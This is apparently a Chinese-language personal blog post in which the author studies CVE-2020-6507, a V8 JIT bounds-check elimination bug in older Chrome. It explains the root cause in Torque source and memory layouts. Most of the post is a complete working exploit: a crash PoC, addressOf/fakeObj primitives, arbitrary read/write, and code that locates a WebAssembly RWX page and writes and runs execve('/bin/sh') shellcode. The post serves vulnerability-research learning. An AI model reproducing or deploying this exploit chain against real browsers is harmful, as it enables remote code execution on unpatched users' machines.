CVE-2020-6507

CVE!*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。
一些碎碎念:折腾了快两周了还没摸清楚怎么学V8,先恶补了一些V8的理论之后本来想看源码,但V8的源码过于复杂,在倔强地挣扎了一周后我放弃了这个想法,打算先按照博客学漏洞,走一步看一步(。_。)

bug编号1086890,受影响的Chrome最高版本为83.0.4103.97,受影响的V8最高版本为8.3.110.9

漏洞成因

先贴poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

这个漏洞的成因是用Turque编写的NewFixedArray和NewFixedDoubleArray没有对数组大小的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//src\objects\fixed-array.tq

macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
if (length > kFixedArrayMaxLength) deferred {
runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
}
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}

macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
if (length > kFixedDoubleArrayMaxLength) deferred {
runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
}
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),
floats: ...it
};
}

源码中规定kFixedDoubleArrayMaxLength = 671088612,浮点型数组的最大长度为67108862
poc中这一段操作使得giant_array的最终长度为67108863

1
2
3
4
5
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

漏洞是由于没有检查最大长度造成的,但不是由它触发的,以上步骤正常地创建了一个67108863的数组giant_array
看触发漏洞的trigger函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}

执行30000次是为了触发jit优化,会删除一些冗余代码
在优化trigger函数的时候,V8认为x的最大长度为67108862,那么x最后的计算结果最大值为1,那么x最后的值不是0就是1,corrupting_array的长度为2,不论对其0还是1赋值都是有效的。原本代码在执行corrupting_array[x]执行的时候,会根据x的值对corrupting_array边界进行检查,但是通过上述的分析,JIT认为这种边界检查是没有必要的,就把检查的代码给删除了。这样就直接对corrupting_array[x]进行赋值,而实际的x值为7,这就造成了越界读写,而index=7这个位置,正好是corrupted_array变量的elements和length位,所以poc达到了之前分析的那种效果

利用

又是一波碎碎念:V8漏洞利用是根据“从0开始学V8漏洞利用”系列学习的,这个博客的第一种方法十分玄学,代码有一点改动都会导致一切重来,甚至连DebugPrint都会造成地址变动,所以我放弃了这种方法,直接开始优化过的利用
优化过的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);


length_as_double =
new Float64Array(new BigUint64Array([0x22222222n]).buffer)[0];

function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x = Math.max(x, 0);
x *= 10; // 10 20
x -= 9; // 1 11
x = Math.max(x, 0);
oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array, vul);
}
console.log("length = ", double_array.length.toString(16));

for循环中申请的几个对象的内存布局大概是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
vul_elements
|32bit map addr|32bit length|64bit 1.1|64bit 1.1|
vuln
|32bit map addr|32bit properties addr|32bit elements addr|32bit length|
pad_elements
|32bit map addr|32bit length|32bit vuln addr|
pad
|32bit map addr|32bit properties addr|32bit elements addr|32bit length|
double_array_elements
|32bit map addr|32bit length|64bit 3.1|
double_array
|32bit map addr|32bit properties addr|32bit elements addr|32bit length|
obj
|32bit map addr|32bit properties addr|32bit elements addr|128bit unknown data|
obj_array_elements
|32bit map addr|32bit length|32bit obj addr|
obj_array
|32bit map addr|32bit properties addr|32bit elements addr|32bit length|

第一种方法之所以如此抽象是因为覆盖的时候会将length和elements一起覆盖,修改后的poc利用pad制造了一个偏移,这样覆盖的时候就是覆盖double_array的length和obj的map

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x22222222n]).buffer)[0];


function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array[1] = obj_map;
let faked_obj = double_array[0];
return faked_obj;
}

function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
double_array[8] = array_map;
let obj_addr = ftoi(obj_array[0]) - 1n;
double_array[8] = obj_map;
return obj_addr;
}

function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}

function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
oob[x] = length_as_double; // fake length
}


for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array, vul);
}

var array_map = double_array[1];
var obj_map = double_array[8];

var fake_array = [
array_map,
itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x48n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

CVE-2020-6507
http://akaieurus.github.io/2023/04/17/CVE-2020-6507/
作者
Eurus
发布于
2023年4月17日
许可协议